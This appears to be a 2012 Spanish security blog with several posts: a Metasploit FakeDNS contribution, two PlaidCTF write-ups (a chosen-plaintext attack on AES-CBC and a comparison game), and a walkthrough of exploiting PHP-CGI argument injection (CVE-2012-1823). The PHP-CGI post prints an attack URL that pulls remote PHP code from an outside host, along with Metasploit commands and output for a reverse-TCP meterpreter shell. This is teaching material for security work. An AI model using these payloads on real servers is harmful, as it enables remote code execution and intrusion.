sábado, 12 de mayo de 2012

BestFakeDNS incorporado en Metasploit

Hace algunas semanas estuvimos hablando de BestFakeDNS, unas modificaciones que he realizado sobre el módulo FakeDNS original de Metasploit para permitir el uso de Wildcards y para elegir si la lista de objetivos queremos que los resuelva correctamente o con la respuesta falsa (y los que no están en la lista de la forma contraria, claro).

Esta mejora, además de publicarlas AQUÍ, la aporté como mejora al equipo de desarrollo de Metasploit, por si querían incorporarla, y esta misma mañana, después de algunos comentarios, he recibido la notificación de que se cerraba el PULL:


En teoría, tras incorporar IP y Puerto en los mensajes que muestra el módulo, mis mejoras estaban listas para ser incorporadas al trunk principal de la herramienta. Me fui inmediatamente a hacer una actualización a ver si la versión disponible para descarga ya lo incorporaba.



Como podeis ver, ya podeis disponer de esta funcionalidad sin tener que descargar el módulo, simplemente a partir de ahora cuando useis el fakedns de Metasploit esta funcionalidad estará incorporada.

Por desgracia parece que han olvidado hacer algún tipo de referencia a que esa mejora ha sido aportada por mi, ya que no aparezco por ningún lado en los créditos del módulo, pero bueno, lo importante es que la funcionalidad está disponible, que al fin y al cabo era lo que pretendía.

jueves, 10 de mayo de 2012

The Game del PlaidCTF

Como os comentaba en mi anterior post, hace un par de semanas estuve intentando un par de retos del PlaidCTF. El que más me gustó de los dos fue el que ya os he explicado, pero además de ese también hice uno llamado "The Game" (que para mi gusto era más de programación que de hacking en sí) y que decía tal que así:

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
184.73.47.70:6969


Si conectábamos a la IP y puerto que decían mediante NCat o Telnet, nos devolvía algo así:

You have gotten 0 of 75
Choice 1 = 81dc9bdbf52d04dc20a036dbd8313ed055
Choice 2 = e2f1c714c4727ee9395af324cd2e7f331f
Which one is bigger? (1 or 2)


El sistema nos da dos churros incomprensibles y nos pide que digamos cual es mayor. Después de observar unas cuentas veces no parece que el orden sea por su ordenación ASCII, ni que sean hashes de números ni nada similar, así que tendremos que asumir que lo único que podemos hacer es ir aprendiendo que "churro" es mayor que otro por medio de observación de las respuestas del servidor.

Pepelux también estuvo pegándose con el reto y lo sacó de una manera similar aunque no idéntica a la que voy a explicar yo. Podeis verlo AQUÍ.

Para explicar el concepto del algoritmo utilizado vamos a suponer que la máquina elige 5 elementos diferentes (en el original serían hashes, y muchos más en cantidad, pero como ejemplo nos vale) que a priori el cliente no sabe en que orden van, aunque el servidor sí que conozca su orden:


El orden es lo de menos en realidad, pero supongamos que el servidor conoce a estos personajes y sabe que LUKE, aunque sea prota, es un poco soso, que CHEWIE es el papel más sencillo de aprender de la historia, pero que tiene mucho carisma, que YODA es el maestro de maestros pero OBIWAN siempre me ha gustado más, y que por supuesto VADER es el más grande de todos.

La primera idea de algoritmo que tuve es una lista a la que pudiera ir cambiando el orden según los descubrimientos que fuera haciendo, pero se me ocurrió que tenía la pega de que habría que recorrerla cada vez para buscar los elementos que queremos, y eso me parecía un poco "coñazo".

Por eso, pensando en alguna forma en que las búsquedas fueran muy rápidas, decidí usar un tipo de dato diccionario de Python, en los que los índices para buscar fueran los propios hashes, lo cual me permitía buscar el hash de una forma muy rápida. Pero... ¿cómo hacía después para comparar ambos hashes? Pues asignaba un valor entero "tentativo" a cada uno, así solo tenía que acceder por el hash, recuperar sus enteros y compararlos.

Con un pequeño ejemplo ayudado de nuestros amigos de Star Wars seguro que se entiende el algoritmo mucho mejor:

Antes de empezar comentaros que tenemos una variable "step" que la inicializamos a un valor muy alto. Para nuestro ejemplo lo haremos a 100, pero para el caso real se haría a un valor mucho mayor.

1. ¿OBIWAN o CHEWIE?: Ninguno de los dos está en el diccionario, así que elegimos al segundo como mayor. El sistema nos dice que FALLAMOS, así que hacemos lo siguiente:

        dic['CHEWIE'] = 0
        dic['OBIWAN'] = dic['CHEWIE'] + step = 100
        step = step / 2 = 50

2. ¿LUKE o VADER?: Idem que antes. Elegimos el segundo y esta vez ACERTAMOS:

        dic['LUKE'] = 0
        dic['VADER'] = dic['LUKE'] + step = 50
        step = step / 2 = 25

3. ¿YODA o CHEWI?: Yoda no lo tenemos aún, así que lo escogemos como mayor y ACERTAMOS:

        dic['YODA'] = dic['CHEWI'] + step = 25
        step = step / 2 = 12

Vamos a ver como va la cosa en el diccionario y seguimos unos pocos más:

        dic['CHEWIE'] = 0
        dic['LUKE'] = 0
        dic['YODA'] = 25
        dic['VADER'] = 50
        dic['OBIWAN'] = 100

4. ¿LUKE o CHEWI?: Están empatados, así que cogemos cualquiera, el primero mismo, y FALLAMOS:

        dic['CHEWIE'] = dic['LUKE'] + step = 12
        step = step / 2 = 6

5. ¿VADER o YODA?: Vader es 50 y Yoda es 25, así que elegimos a Vader y ACERTAMOS, con lo que no tocamos nada, dejamos el diccionario como está.

6. ¿OBIWAN o VADER?: Obiwan es 100 y Vader 50, así que elegimos a Obiwan y FALLAMOS:

        dic['VADER'] = dic['OBIWAN'] + step = 106
        step = step / 2 = 3

Vamos a pegar otro vistazo a como llevamos la ordenación por ahora:

        dic['LUKE'] = 0
        dic['CHEWIE'] = 12
        dic['YODA'] = 25
        dic['OBIWAN'] = 100
        dic['VADER'] = 106

Parece que a partir de este punto ya tenemos valores bien asignados en el diccionario, así que a partir de aquí todo van a ser aciertos, 75 o todos los que queramos. Lo único que hay que tener en cuenta es que el parametro step debe estar dimensionado a la cantidad de pasos que pensemos que vamos a necesitar.

Si por ejemplo calculamos que vamos a necesitar N pasos para aprender, entonces tenemos que elegir un step que sea 2^N, para que al ir dividiendo entre dos no nos vayamos a decimales. Tampoco pasaría nada siempre y cuando Python permita representar suficientes decimales (que no tengo ni idea de cuantos permite).

Esta es la idea del script que hice para superar el reto, solo que con un "step" mucho más grande y empleando los hashes en lugar de a nuestros amigos de Star Wars. Podeis descargar el script de AQUÍ si tenéis curiosidad en verlo completo. Lamentablemente tardaba bastante la ejecución y tuve que irme antes de que acabara, y cuando lo volví a lanzar ya se había acabado el tiempo del CTF y el servicio no estaba disponible, pero me programé yo un servicio que realizaba lo mismo (con unos pocos elementos) y la solución funcionaba perfectamente, por lo que presumiblemente debería funcionar igual con el servicio real.

Si los PPP publican el código del servicio de este reto lo probaré con él y pondré como una actualización en resultado.

sábado, 5 de mayo de 2012

Explotando PHP-CGI

Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se había publicado una vulnerabilidad en PHP que podría permitir la ejecución de código de forma remota (CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en los que PHP ha sido configurado como CGI, y no como módulo del servidor web, que hasta donde yo sé la configuración más habitual. No obstante, existen conocidos servicios que emplean PHP como un CGI, por lo que aunque no sea la configuración más extendida, el impacto de la vulnerabilidad podría resultar ser muy grave:


La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por Rubén Santamarta el año pasado, y que ya comentamos aquí [1] [2].

El concepto es: El servicio coge una serie de parámetros, entre ellos algunos (o todos) proporcionados por el usuario, y construye una llamada a un binario del sistema. Si no existe un filtrado correcto de dichos parámetros proporcionados por el usuario, podemos llamar al binario añadiendo opciones que el servicio no espera. Por poner un ejemplo (pseudo-código):

Binary = "PrintName.exe"
Args = "-n " + username
execute( Binary, Args )

Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese binario tiene una opción "-cmd" que le hace ejecutar el comando que se le pase, el usuario estaría consiguiendo ejecutar el comando "id" para ver los privilegios del usuario que ejecuta el servicio (en un Unix).

Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible añadir parámetros en la llamada a php-cgi cuando es llamado para interpretar una página, pero... ¿qué opciones nos da el binario php-cgi? Podemos ver todas sus opciones en la web de PHP (pone que es para el binario php, pero son las mismas opciones para php-cgi, por lo que he podido ver). De entre ellas, hay un par que resultan especialmente interesantes:

-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used


Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:


Nombre
Por defectoCambiableHistorial de cambios
allow_url_include"0"PHP_INI_ALLPHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0.
auto_prepend_fileNULLPHP_INI_PERDIRPHP_INI_ALL en PHP <= 4.2.3.

Bueno, pues parece que ya vamos viendo la luz al final del túnel: Si activamos que permita incluir URLs y hacemos que incluya el código PHP que queramos, ya podemos pasar a cosas más interesantes. Tendríamos entonces que construir una URL tal que así:

http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt

Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial php://input que lo que hace referencia es al contenido proporcionado por la entrada estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:



BINGO! Parece que ya podemos ejecutar código PHP, así que la cosa marcha, pero mejor que código PHP sería mejor ejecutar comandos del sistema operativo. Para eso solo hay que jugar un poquito con el PHP y pasarle algo así:


A partir de aquí ya solo tenemos que cambiar el contenido del parámetro "cmd" que estamos pasando por POST y poner el comando que queramos, y eso se ejecutará en el sistema con las restricciones que haya aplicado el sysadmin al usuario que ejecuta el servicio.

Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de Metasploit ya ha desarrollado un módulo llamado "php_cgi_arg_injection", lo cual hace muchísimo más sencilla su explotación:

$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf  exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf  exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf  exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf  exploit(php_cgi_arg_injection) > set TARGETURI /
msf  exploit(php_cgi_arg_injection) > exploit


[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012


meterpreter > sysinfo
OS          : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer    : bt
Meterpreter : php/php


meterpreter > getuid
Server username: www-data (33)


meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:


    -L  The local host to listen on (optional).
    -h        Help banner.
    -l  The local port to listen on.
    -p  The remote port to connect to.
    -r  The remote host to connect to.

No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.

miércoles, 2 de mayo de 2012

Encryption Service del PlaidCTF

El tema de los CTF es algo en lo que no suelo meterme. En ocasiones me apunto a alguno, pero no puedo dedicar todo el tiempo que requieren, así que suelo intentar sacar algún rato para hacer una prueba o dos y poco más.

El pasado fin de semana tuvo lugar el PlaidCTF, organizado por los PPP, un conocido equipo que compite habitualmente en los CTF. Los int3pids, para variar, no podían faltar a uno de estos eventos, así que aproveché que conozco a varios de ellos para que me dejaran conectarme algún ratejo e intentar alguno de los retos.

Solo me dio tiempo a hacer un par de retos en el rato que le pude dedicar durante el fin de semana, pero de ellos me gustó uno llamado "Encryption Service", que decía algo así:

We found the source code (http://ctf.plaidctf.com/media/files/encryption_service-00280bdc6eb758556bec5d38939aeaf8/encryption_service.py ) for this robot encryption service, except the key was redacted from it. The service is currently running at 23.21.15.166:4433

Como no sé si dejarán el código fuente indefinidamente publicado, os lo dejo subido AQUÍ por si acaso.

Si leéis un poco que hace el servicio, vereis que sigue un proceso tal que así:
  1. El cliente conecta al servidor
  2. El servidor genera aleatoriamente un IV (vector de inicialización) de 16 bytes que posteriormente usará para el cifrado, y se lo pasa al cliente.
  3. El cliente elige una cadena de texto que le debe pasar al servidor en formato: longitud (en 4 bytes) + cadena
  4. El servidor lee la cadena y la concatena con PROBLEM_KEY (que presumiblemente es la clave que se necesaria para superar la prueba) y lo rellena de caracteres hasta que la longitud de la cadena sea múltiplo de 16 (necesario para el cifrado).
  5. La cadena resultante es cifrada mediante AES en Modo CBC con el IV que se nos ha proporcionado y una clave que desconocemos (no son todo 'x', por supuesto).
  6. El resultado del cifrado vuelve al cliente en el mismo formato que antes: longitud (en 4 bytes) + cadena
La verdad es que cuando vi "padding" (relleno) lo primero que pensé fue en un ataque de Padding Oracle, pero en realidad no era nada de eso.

Lo primero que hice fue buscar un diagrama del Modo CBC (Cipher-block Chaining), porque al no ser una persona que se dedica a temas de criptografía (ni tampoco un apasionado del tema), la verdad es que no lo tenía en la cabeza en absoluto. En la Wikipedia sin ir más lejos podemos encontrar este:


Vamos a repasar las variables que tiene este diagrama, a ver que situación tenemos:
  • PlainText: Aunque lo que enviemos al servicio será concatenado con más texto, podemos utilizar cadenas de 16 bytes y así controlaríamos completamente el PlainText del primer bloque. Con 32 bytes controlaríamos el segundo, y así sucesivamente. Podríamos decir que tenemos un control total del PlainText de algunos bloques, pero no del PlainText completo.
  • IV: NO lo controlamos. Es generado aleatoriamente por el servidor. Eso sí, el servidor nos lo da a conocer antes de que le digamos que cadena debe cifrar.
  • Key: NO lo controlamos NI somos capaces de saber cual es. Es algo que permanece interno al servidor y no tenemos ni idea de cual será.
  • CipherText: El servicio nos devuelve el texto cifrado. NO lo controlamos de una forma directa, pero se produce a partir de algunas de los parámetros que sí controlamos, y algunos otros que no. 
Así de primeras, parece que podemos "anular" un poco el factor de aleatorización que introduce el IV, ya que aunque no lo controlamos directamente, este únicamente se utiliza para hacer un XOR con la cadena que introduzcamos. Por poner un ejemplo, imaginad que quisiéramos que la cadena 'ABCDEFGHIJKLMNOP' (16 bytes) llegara tal cual a cifrarse con la clave que desconocemos. Solo tendríamos que seguir el siguiente proceso:
  1. Conectamos y obtenemos el IV
  2. Calculamos PlainText = 'ABCDEFGHIJKLMNOP' XOR IV y lo enviamos como cadena a cifrar
  3. Al llegar al servidor y hacerse otra vez XOR con el IV, ambos se anulan, y la cadena que llega para cifrarse con la clave es 'ABCDEFGHIJKLMNOP'.
En esta situación podemos realizar los llamados Chosen Plaintext Attacks, porque son ataques que pretenden obtener información sobre la clave de cifrado a partir del conocimiento de los plaintext y de los ciphertext, pudiendo ser el plaintext elegido por el criptoanalista.

Buscando un poco a ver que opciones tenemos, podemos ver como se pueden realizar algunos ataques contra este diseño, muy similares a los publicados por Juliano Rizzo y Thai Duong el pasado año (BEAST). De entre la documentación que he podido leer por ahí, me ha gustado mucho (por su simplicidad) la que publicó el equipo de Tor Project AQUÍ, que dice algo así:


The ability to decide where block boundaries fall turns out to be a big deal. Let's suppose that instead of filling up a full plaintext block with 16 bytes of Evil, the attacker only fills up 15 bytes... so the block will have 15 bytes the attacker controls, and one byte of the secret. Whoops! There are only 256 possible values for a single byte, so the attacker can guess each one in turn, and use the older guess-checking attack to see if he guessed right.


En este caso, viendo el código del servidor, no necesitamos probar 256 valores para obtener el valor de un byte, sino que con comprobar los valores [a-z_] tendremos más que suficiente. Imaginad que queremos saber si el primer caracter es una 'x', podríamos hacer algo así:
  1. Tenemos la cadena 'AAAAAAAAAAAAAAA' (15 bytes) que sera concatenada con el primer caracter del PROBLEM_KEY y será cifrada con la clave que desconocemos, y nos proporcionará un ciphertext.
  2. Probamos lo mismo pero esta vez con la cadena 'AAAAAAAAAAAAAAAx' (16 bytes). En esta ocasión el PROBLEM_KEY no va a entrar en este bloque, sino en el siguiente, pero si su primer caracter era una 'x' el plaintext va a ser identico al de antes, y como la clave es la misma... el ciphertext debería ser igual.
  3. Si vamos probando los posibles valores ([a-z_]) y comparando los ciphertext descubriremos cual es el valor de la X.
  4. Este proceso se puede repetir reduciendo el número de bytes (14 bytes) para descubrir el segundo caracter, y así sucesivamente hasta descubrir toda la cadena.


Bueno, parece que lo tenemos ya casi todo hecho, pero... ¿y el IV? ¿No nos va a fastidiar un poco al "mezclarse" con PROBLEM_KEY? Pues... SI, así de primeras nos va a fastidiar un poco el asunto,  porque podemos anular el IV con el PlainText que nosotros elegimo, pero cuando se concatena con el PROBLEM_KEY... perdemos esa capacidad. Veamos como lo haremos:

Si recordamos el diagrama y el control que tenemos sobre los elementos de él, sabemos que tenemos un control parcial del PlainText y una ausencia total de control del IV que se aplica al primer bloque, pero si conseguimos anular el IV inicial con los primeros 16 bytes del PlainText que elijamos entonces convertimos el ciphertext del primer bloque en estático (siempre será el mismo), con lo que el algoritmo pierde la aleatorización que le hubiera aportado el IV para este y los siguientes bloques. Para hacer esto simplemente elegimos los primeros 16 bytes que queramos (16 'A's, por poner el mismo ejemplo) y le hacemos XOR con el IV de cada conexión que hagamos, el cual se anulará al hacerse XOR con el mismo valor en el servidor. Hecho esto, podemos aplicar la técnica que comentaban en el blog del Tor Proyect a partir del segundo bloque.

Por lo tanto, vamos a utilizar el primer bloque para cargarnos la influencia del IV, y los dos siguientes para obtener el PROBLEM_KEY, que según el código al que hemos tenido acceso son 29 bytes, empleando la técnica que hemos descrito antes:
  1. Conectamos y obtenemos el IV.
  2. Cogemos los 16 bytes estáticos y hacemos XOR con el IV. Con eso obtenemos los primeros 16 bytes de nuestra cadena de entrada.
  3. Creamos una cadena de 15 'A's y la concatenamos con la anterior. La enviamos para cifrar y nos guardamos el ciphertext del segundo bloque.
  4. Repetimos la operación, pero vez vamos añadiendo a las 15 'A's los posibles valores [a-z_] y comprobamos si el ciphertext es el mismo que antes. Si lo es este es el caracter que buscamos.
  5. Repetimos el proceso con 14 'A' (+ 1 caracter obtenido previamente + uno que probamos todas las opciones), luego con 13 (+ 2 obtenidos + 1 probando), y así sucesivamente hasta que hayamos llenado todo el primer bloque con los primeros 16 bytes del PROBLEM_KEY.
  6. Nos vamos ahora al tercer bloque, y seguimos repitiendo idéntico proceso hasta que hayamos obtenido los 29 bytes del PROBLEM_KEY.

La implementación de todo esto la podeis descargar de AQUÍ si quereis ver todos los detalles. El script funcionaría algo así:

$ time ./encryption_f___er.py
p
r
e
d
i
c
t
a
b
l
e
_
i
v
s
_
a
r
e
_
d
a
n
g
e
r
o
u
s

PASSWORD = predictable_ivs_are_dangerous

real 3m28.070s
user 0m0.115s
sys 0m0.107s

Como podeis ver, hemos sacado el PROBLEM_KEY en unos pocos minutos sin conocer la clave de cifrado, solo por la posibilidad de hacer un Chosen-Plaintext-Attack.